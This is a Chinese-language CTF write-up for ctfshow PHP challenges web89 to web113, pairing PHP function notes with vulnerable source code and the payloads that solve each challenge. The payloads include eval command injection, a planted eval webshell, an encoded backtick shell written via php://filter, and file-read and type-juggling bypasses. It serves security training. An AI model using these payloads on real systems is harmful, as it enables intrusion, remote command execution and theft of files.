前言:这里有很多知识点,因此做题带着涨姿势,边做题边补充知识点

一.知识点

intval()函数(web89)

作用

是 PHP 中用于将变量转换为整数的函数。它尝试从给定的变量中提取一个整数值。如果该变量不是整数类型,intval 会根据其内容进行适当的转换。

语法

int intval ( mixed $var [, int $base = 10 ] )
  • $var:要转换的变量。
  • $base(可选):表示数字的进制,默认是 10 进制。如果指定了其他进制(如 8、16 等),函数会按照该进制进行转换。

返回值

返回变量 var 的整数值。如果 var 是布尔值 false,则返回 0;如果是 true,则返回 1。

注意

  • 如果字符串中包含数字和非数字字符,intval 只会提取开头的数字部分,直到遇到第一个非数字字符为止。
  • 如果字符串中没有有效的数字,intval 将返回 0。
  • intval当传入的变量也是数组的时候,会返回1
  • base变量位的0表示根据var开始的数字决定使用的进制: 0x或0X开头使用十六进制,0开头使用八进制,否则使用十进制。
  • intval()函数如果$base为0,则$var中存在字母的话遇到字母就停止读取。

preg_match()函数

作用

是 PHP 中用于执行正则表达式匹配的函数。它搜索主题字符串中与给定模式匹配的内容,并返回找到的第一个匹配项。如果找到了匹配项,preg_match() 返回 1;如果没有找到任何匹配项,则返回 0;如果发生错误,则返回 false

语法

int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )
  • $pattern:要搜索的正则表达式模式。必须以分隔符包裹(例如 /pattern/)。分隔符可以是任意非字母数字字符,如 /#~ 等。
  • $subject:要搜索的目标字符串。
  • matches(可选):如果提供了此参数并且找到了匹配项,则会将匹配结果存储在这个数组中。‘matches[0]` 将包含整个匹配的文本,而后续元素将包含捕获的子组(如果有)。
  • $flags(可选):可以设置一些标志来改变 preg_match 的行为。常用的标志包括:
    • PREG_OFFSET_CAPTURE:如果设置了这个标志,$matches 数组中的每个元素不仅包含匹配的文本,还包含其在 $subject 中的起始位置(字节偏移量)。
  • $offset(可选):指定从目标字符串的哪个位置开始搜索,默认是从字符串开头开始(即 0)。

返回值

  • 如果找到匹配项,返回 1。
  • 如果没有找到匹配项,返回 0。
  • 如果发生错误,返回 false

isset()函数

作用

是 PHP 中的一个内置函数,用于判断一个变量是否已设置并且不是 null。它在检查变量是否存在以及是否有值时非常有用。

语法

isset(variable)
  • variable:要检查的变量。
  • 如果有多个变量需要检查,可以传递多个参数,只有当所有变量都存在且不为 null 时,isset() 才会返回 true

返回值

  • 如果变量存在且不为 null,则返回 true
  • 如果变量不存在或为 null,则返回 false

注意

  • isset() 不会触发任何错误,即使变量未定义。
  • 对于数组中的元素,isset() 可以用来检查某个键是否存在且不为 null
  • isset()` 不能用于检查常量,因为常量始终被视为已设置。

strpos()函数(web94)

作用

是 PHP 中的一个字符串处理函数,用于查找字符串中第一次出现子字符串的位置。如果找到了子字符串,则返回其位置(从0开始的索引);如果没有找到,则返回 false

语法

int|false strpos ( string $haystack , string $needle [, int $offset = 0 ] )
  • $haystack:要搜索的原始字符串。
  • $needle:要查找的子字符串。
  • $offset(可选):指定从 $haystack 中的哪个位置开始搜索,默认是从开头开始(即偏移量为0)。

注意

  • 在 PHP 中,strpos 对大小写敏感。

highlight_file()函数

作用

是 PHP 中的一个内置函数,用于将指定文件的内容以语法高亮的方式输出。它特别适用于显示 PHP 代码文件,能够自动识别并高亮 PHP、HTML 和其他语言的语法,使代码更易于阅读。

语法

highlight_file(filename)
  • filename:要高亮显示的文件路径(可以是相对路径或绝对路径)。

返回值

  • 成功时返回 true
  • 如果文件无法打开或发生错误,则返回 false 并生成一条 E_WARNING 级别的错误消息。

注意事项

  1. 文件权限:确保 PHP 脚本有权限读取指定的文件。
  2. 文件内容:该函数主要用于显示包含 PHP 代码的文件。如果文件中没有 PHP 代码,或者文件格式不正确,可能不会产生预期的高亮效果。
  3. 浏览器输出:为了正确显示高亮代码,通常需要在浏览器中查看输出结果。如果你在命令行中运行此函数,可能看不到高亮效果,因为命令行环境不支持 HTML/CSS 渲染。
  4. 替代函数highlight_string() 函数用于直接高亮字符串中的 PHP 代码,而不是从文件中读取。

MD5()函数(web97)

语法

md5(string,true/false/空)
string为必需字符串
若第二个变量为true,会输出原始16字符二进制格式;为false,会输出32字符十六进制数(默认)

强弱比较及绕过

强比较(===):先比较类型再比较值

弱比较(==):先将类型转换再比较值,比如字符串与数字比较则先将字符串转换为数字再进行比较

以下为常见绕过方法(MD5函数中均进行运算再计算MD5值)

1.0e绕过(科学计数法绕过)

以0e开头的数运算后均为0

image-20241218142152287

变式:字符串若计算MD5值后为0e开头,则该值会被计算为0,比如题目(md5(a)==0),则可通过传入QNKCDZO等绕过

image-20241218142658437

MD5加密后0e开头的字符串
QNKCDZO
QLTHNDT
240610708
s214587387a
s878926199a
s155964671a
0e215962017 #注意,最后一个可以用于$a==md5($a),md5加密后仍以0e开头

2.数组绕过

md5函数不能处理数组,因此处理数组时,都会返回null,因此在强比较时传入数组会使值相等,传参时可使用a[]=1&b[]=2来使两个值相等

image-20241218143238456

3.运算配合类型转换绕过

md5() 遇到运算符,会先运算,再计算结果的MD5值。

image-20241218143443257

当字符串与数字类型运算时,会将字符串转换成数字类型,再参与运算,最后计算运算结果的MD5值。

image-20241218143606903

4.类型转换绕过

虽然 md5() 要求传入字符串,但传入整数或小数也不会报错;数字相同时,数值型和字符串的计算结果是相同的。

image-20241218143707092

array_push()函数(web99)

作用

用于将一个或多个元素推入(添加到)数组的末尾。

语法

int array_push ( array &$array , mixed $value1 [, mixed $... ] )
  • $array:要操作的数组(传递引用,使用 & 符号)。
  • **value1,value2, …**:要添加到数组末尾的一个或多个值。
  • 返回值:返回数组新的元素个数(整数)。

注意

  • array_push() 只能用于索引数组。对于关联数组,它会按照当前最大数字索引来添加元素。

in_array()函数

作用

用于检查一个值是否存在于数组中。如果找到了该值,则返回 true;否则返回 false

语法

bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )
  • **$needle**:要查找的值(即“针”)。
  • **$haystack**:要搜索的数组(即“干草堆”)。
  • **$strict**(可选):如果设置为 TRUE,则会严格检查类型(即不仅检查值是否相等,还检查数据类型是否相同)。默认是 FALSE,只检查值是否相等。

file_put_contents()函数

作用

file_put_contents() 是一个非常方便的函数,用于将数据写入文件。它可以一次性完成打开文件、写入数据和关闭文件的操作,因此比使用 fopen()fwrite()fclose() 更简洁。

语法

int file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] )
  • **$filename**:要写入的文件名(路径)。如果文件不存在,PHP 会尝试创建它;如果文件已存在且可写,则会根据标志 ($flags) 决定是覆盖还是追加内容。

  • **$data**:要写入的数据。可以是字符串、数组或资源。如果是数组,每个元素会被依次写入文件。

  • $flags

    (可选):指定写入模式的标志。常用标志包括:

    • FILE_USE_INCLUDE_PATH:检查包含路径中的文件。
    • FILE_APPEND:追加数据到文件末尾而不是覆盖现有内容。
    • LOCK_EX:对文件进行独占锁定。
  • **$context**(可选):上下文资源,通常用于设置流的上下文选项。

返回值

返回写入文件的字节数,如果出错则返回 false

is_numeric()函数

作用

用于检查给定的变量是否为数值或数值字符串。这个函数非常有用,尤其是在处理用户输入或需要验证数据类型时。

语法

bool is_numeric ( mixed $var )

返回值

  • 如果 var 是一个数字或一个数值字符串,则返回 true
  • 否则返回 false

call_user_func()函数

作用

PHP中用于动态调用函数或方法的函数,它允许通过变量名或回调形式执行函数。

基本语法

mixed call_user_func(callable $callback [, mixed $parameter [, mixed $... ]])

举例

1. 调用全局函数

function sayHello($name) {
echo "Hello, $name!";
}
// 通过字符串函数名调用
call_user_func('sayHello', 'Alice'); // 输出: Hello, Alice!

2. 调用类方法

class MyClass {
public function instanceMethod($name) {
echo "Instance: Hello, $name!";
}

public static function staticMethod($name) {
echo "Static: Hello, $name!";
}
}

// 调用实例方法
$obj = new MyClass();
call_user_func([$obj, 'instanceMethod'], 'Bob');

// 调用静态方法
call_user_func(['MyClass', 'staticMethod'], 'Charlie');

3. 调用闭包(匿名函数)

$closure = function($name) {
echo "Closure: Hello, $name!";
};
call_user_func($closure, 'Dave');

sha1()函数

以下值在sha1加密后以0E开头:

  • aaroZmOk
  • aaK1STfY
  • aaO8zKZF
  • aa3OFF9m
  • 0e1290633704
  • 10932435112

parse_str()函数

作用

用于将查询字符串解析成变量。

语法

parse_str(string $string, array &$result): void
  • **$string**:要解析的查询字符串(例如 ?key1=val1&key2=val2? 之后的部分)。
  • **&$result**(可选):解析后的结果会存储在这个数组中。如果省略,函数会直接将键值对解析为当前作用域的变量(但此用法已不推荐)。

注意

注意事项

  1. 变量覆盖风险:如果不传递第二个参数,parse_str() 会直接在当前作用域创建变量。若原有变量与键名冲突,会被覆盖。

    $name = "Admin";
    parse_str("name=Hacker");
    echo $name; // 输出: Hacker(原值被覆盖)
  2. 特殊字符处理

    • 空格会转换为 _(例如 "user name=John" 解析为 user_name)。

二.题目

web89(数组绕过)

<?php

include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}

也就是传参中不包含数字,但是要使intval()函数返回真,直接传入数组,这样preg_match()返回0,intval()返回1

image-20250203014835575

web90(进制转换)

<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}

这里intval()函数中的0表示根据var开始的数字决定使用的进制: 0x或0X开头使用十六进制,0开头使用八进制,否则使用十进制。

num=010574
num=0x117c

image-20250203015423941

web91(%0a换行符绕过)

<?php

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){ //i修饰符表示不区分大小写匹配,m修饰符表示多行模式
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';

不难发现,一二层判断主要区别就是第一层有多行匹配,因此只要第一层通过,第二层不能通过就行了,通过%0a(换行符)绕过

cmd=php%0aphp

image-20250203020340729

web92(进制转换)

<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

好吧,真的跟90一样,还以为点错题了

image-20250203020612133


但是还有种解法,注意到这里和90的区别就是为弱比较

intval()函数如果$base为0,则$var中存在字母的话遇到字母就停止读取。但是e这个字母比较特殊,可以在PHP中表示科学计数法。所以为了绕过前面的==4476我们就可以构造num=4476e1


还有姿势,可以通过小数来绕过,因此小数部分在被intval()函数转化时会被舍去

num=4476.1

image-20250203021234726

web93(小数绕过)

<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

和上一题类似,小数或八进制绕过都行,只不过科学计数法不行了

num=4476.1
num=010574

image-20250203135637888

web94(+八进制绕过)

<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

较之前的还需要在num变量中找到0且不能有字母,因此还是可通过小数或八进制绕过

好吧,注意,这里变成了强比较,八进制会先转换再比较,因此八进制不行了,只有小数绕过

num=4476.01

image-20250203140643973


好吧,还有新姿势,也可以使用八进制,在前面加一个+号,不改变数的前提下强比较返回false

nun=+010574

image-20250203141000894


也可以使用web91的%0a绕过

num=4476%0a0

image-20250203141303196

web95(+八进制绕过)

<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

把.过滤了,并且过滤字母,因此还是可以通过+八进制绕过

num=+010574

web96(高亮文件)

<?php

highlight_file(__FILE__);

if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}

和之前的题目不一样了,涉及到文件了,这里只要变量u中不只是flag.php就行,可通过伪协议来做,也可通过绕过来做

直接读取

u=./flag.php                #./表示当前目录

image-20250203142708713

伪协议

u=php://filter/read=convert.base64-encode/resource=flag.php
使用PHP的filter过滤器功能,读取flag.php文件的内容,并将这些内容用Base64编码后返回。

image-20250203143052895

也可以不编码直接返回

u=php://filter/resource=flag.php

image-20250203143214836

web97(MD5强比较绕过)

<?php

include("flag.php");
highlight_file(__FILE__);

if (isset($_POST['a']) && isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b']) {
if (md5($_POST['a']) === md5($_POST['b'])) {
echo $flag;
} else {
print 'Wrong.';
}
}
}
?>

做这么久终于遇到MD5了,知识点里面贴一下之前sql写的,本题直接数组绕过就行

a[]=1&b[]=2

image-20250203150339308

web98

<?php

include("flag.php");
$_GET?$_GET=&$_POST:'flag'; #将_GET做为一个数组,储存GET传参的数据,如果无数据就将三元表达式结果为'flag',如果有数据那POST也指向这个地址
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag'; #如果 flag 变量值为 ’flag’,则 $_GET 变量和 $_COOKIE 变量指向同一个地址; 否则返回flag
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag'; #如果flag变量值为’flag’,则 $_GET 变量和 $_SERVER 变量指向同一个地址; 否则返回flag
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__); #如果 HTTP_FLAG 变量值为 ’flag’,输出 $flag,否则输出当前文件
?>

意思也就是GET传参不为空,且POST传参HTTP_FLAG值为flag就能输出flag

image-20250203152650440

web99(传马)

<?php

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i)); #将一个随机整数(随机生成1-877之间的数)添加到数组$allow的末尾。
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ #检查是否有GET传参的n和n是否存在于数组allow中
file_put_contents($_GET['n'], $_POST['content']); #将content内容写入n中
}
?>

主要利用in_array()函数有漏洞 没有设置第三个参数,就可以形成自动转换,比如n=1.php自动转换为1,那么我们传入n=1.php,就会在检查时检测是否数组中是否有1这个数字

GET n=1.php
POST content=<?php eval($_POST['123']);?>

注意,这里有概率失败,毕竟是随机数,要不就多传几次,要不就用bp的intruder,找到长度不同的包,这里我直接是多传几次蚁剑连接

image-20250203154552821

web100(利用等号优先级比and高和闭合语句)

<?php

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){ #表示v2中不能有;
if(preg_match("/\;/", $v3)){ #表示v3中要有;
eval("$v2('ctfshow')$v3");
}
}

}
?>

注意,在 PHP 中,等号 (=) 的优先级比 and 高。因此这里只检测了v1是否为数字

因此构造v2和v3来实现拼接就行,举一个例子

v1=1&v2=system("ls")/*&v3=*/;
拼接起来就是
eval("system("ls")/*('ctfshow')*/;")
当然,也可以使用v1=1&v2=system("ls")?>&v3=;
拼接起来就是
eval("system("ls")?>('ctfshow');")
在php中?>相当于加了一个分号,结果就会把('ctfshow');当作字符和前面语句的结果一起输出在屏幕上

image-20250203155934337

可见可以正常进行

v1=1&v2=system("ls")/*&v3=*/;   //ctfshow.php flag36d.php index.php
v1=1&v2=system("cat flag36d.php")/*&v3=*/; //未找到flag
v1=1&v2=system("cat ctfshow.php")/*&v3=*/; //找到flag,将全部0x2d换为-获得flag

image-20250203160554050

image-20250203160603977

其他能够输出的函数比如var_dump或者print_r也可以使用

v1=1&v2=var_dump($ctfshow)/*&v3=*/;
v1=1&v2=print_r($ctfshow)/*&v3=*/;

也可以读取文件

v1=1&v2=system("cp+ctfshow.php+1.txt")?>&v3=; //将ctfshow.php的内容写入1.txt中

访问1.txt获得flag内容

image-20250203161146825

web101(不闭合直接反射类)

<?php

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}

}

?>

依旧是通过v1为数字进入第一层,然后v3可为分号,主要就是v2的传参,本题就不用把ctfshow闭合了

v1=1&v2=echo new ReflectionClass&v3=;

涉及到类,可以考虑使用 ReflectionClass 建立反射类。

new ReflectionClass($class) 可以获得类的反射对象(包含元数据信息)。

元数据对象(包含class的所有属性/方法的元数据信息)。

image-20250310113955620

但是flag最后差了一位,还需要爆破

image-20250310114457229

web102(向文件内写马)

<?php

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2); //去掉v2的前两个字符,并且还要检测为数字,大概率十六进制
$str = call_user_func($v1,$s); //通过call_user_func()回调v1函数
echo $str;
file_put_contents($v3,$str); //将str内容写入文件v3
}
else{
die('hacker');
}


?>

就是要写个马上去

GET:v2=115044383949474167494352665230565557324664594473&v3=php://filter/write=convert.base64-decode/resource=1.php
POST:v1=hex2bin
注意这里的payload中v2,去掉前两位后十六进制解码得到PD89IGAgICRfR0VUW2FdYDs,再经过base64解码得到<?= ` $_GET[a]`;注意这个是直接命令执行的,不用再添加system了

image-20250310125104799

web103(<?=等同于<?php echo)

<?php

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}

?>

过滤了出现的php字符,用<?=绕过即可,同上

GET:v2=115044383949474167494352665230565557324664594473&v3=php://filter/write=convert.base64-decode/resource=1.php
POST:v1=hex2bin

image-20250312164101443

web104(数组绕过sha1)

<?php

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}



?>

以下值在sha1加密后以0E开头:

  • aaroZmOk
  • aaK1STfY
  • aaO8zKZF
  • aa3OFF9m
  • 0e1290633704
  • 10932435112

但是这个题甚至没有要求两个字符串不相等,所以上面的字符或者相同字符都行,数组绕过也行

GET:v2[]=1
POST:v1[]=1

web105(变量覆盖和die())

<?php

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);

?>

$$a = $$b可以类似于,将$a的地址指向$b,所以无论$b怎么改变值,$a的值都会和$b一样

die()函数虽然会终止程序,但同时也会输出括号内的终止提示信息

所以解题如下

  1. 先对get的内容进行覆盖,且不能覆盖error,所以要覆盖suces,即?suces=flag,此时suces=>flag的地址
  2. 再对post的内容进行覆盖,且不能将flag直接覆盖,所以只能error=suces,此时error=>flag的地址
  3. 此时无论进入哪个die()函数,都可以输出$flag的值
GET:suces=flag
POST:error=suces

web106(sha1字符绕过)

<?php

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}



?>

通过0e字符绕过

GET:v2=aaroZmOk
POST:v1=aaK1STfY

web107(parse_str()函数)

<?php

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}

}



?>

传入的v1为一个json格式,v3为对应的MD5值就行

GET:v3=1
POST:v1=flag=c4ca4238a0b923820dcc509a6f75849b

看wp还发现一种解法

我们传入v3[]=1,则md5($v3)就是null 这时候v1随便传,也可以满足if($v2['flag']==md5($v3))

web108(ereg()函数null截断)

<?php

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}

?>

ereg()函数用指定的模式搜索一个字符串中指定的字符串,需要字母在开头或结尾,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配

?c=a%00778
ereg()函数在遇到%00时读取被截断
a778反转后为877a,即36d的十进制值,intval函数不管字母

web109(php内置类)

<?php

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}

}

?>

v1=内置类&v2=system(‘ls’)即可 php中会先执行ls命令然后把结果作为参数再执行但ls的结果已经被输出了

异常处理类v1=Exception&v2=system('ls')
匿名类v1=class{public function __construct(){ system('ls');}};&v2=a
反射类v1=ReflectionClass&v2=system('ls')
v1= CachingIterator&v2=system('ls')
v1= DirectoryIterator&v2=system('ls')
v1= Error&v2=system('ls')
v1= Exception&v2=system('ls')

web110(getcwd返回当前路径)

<?php

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}

eval("echo new $v1($v2());");

}

?>

过滤掉了内置类的手法,只能硬凑了
FilesystemIterator可以用来遍历目录,需要一个路径参数
函数getcwd可以返回当前工作路径且不需要参数,由此可以构造payload

v1=FilesystemIterator&v2=getcwd

发现flag文件就在当前目录下,直接访问即可

web111(全局变量覆盖)

<?php

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}

if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}

?>

利用全局变量,URL 传参时 $v2 不能直接传为flag,否则$flag 会因“函数内部无法调用外部变量”的限制而导致其返回 null

v1=ctfshow&v2=GLOBALS

web112(php伪协议,过滤器)

<?php

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

直接利用伪协议读取flag文件

file=php://filter/resource=flag.php

过滤器有很多备选

题中过滤了 data、input 等伪协议,又过滤了 string、data、rot13 相关的过滤器,但我们依然可以用 php://filter 伪协议搭载其他过滤器

常见的过滤器:

convert.quoted-printable-encode

convert.iconv.*

zlib.deflate

bzip2.compress

string.rot13

string.tolower

convert.base64-decode

选择限制字符以外的过滤器即可

当然,也可以不用过滤器:……/?file=php://filter/resource=flag.php

web113(绕过filter)

<?php

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

两种解法:

1.利用函数所能处理的长度限制进行目录溢出: 原理:/proc/self/root代表根目录,进行目录溢出,超过is_file能处理的最大长度就不认为是个文件了。

file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

2.利用php中zip伪协议 用法: compress.zlib://file.gz compress.zlib://file.bz2

file=compress.zlib://flag.php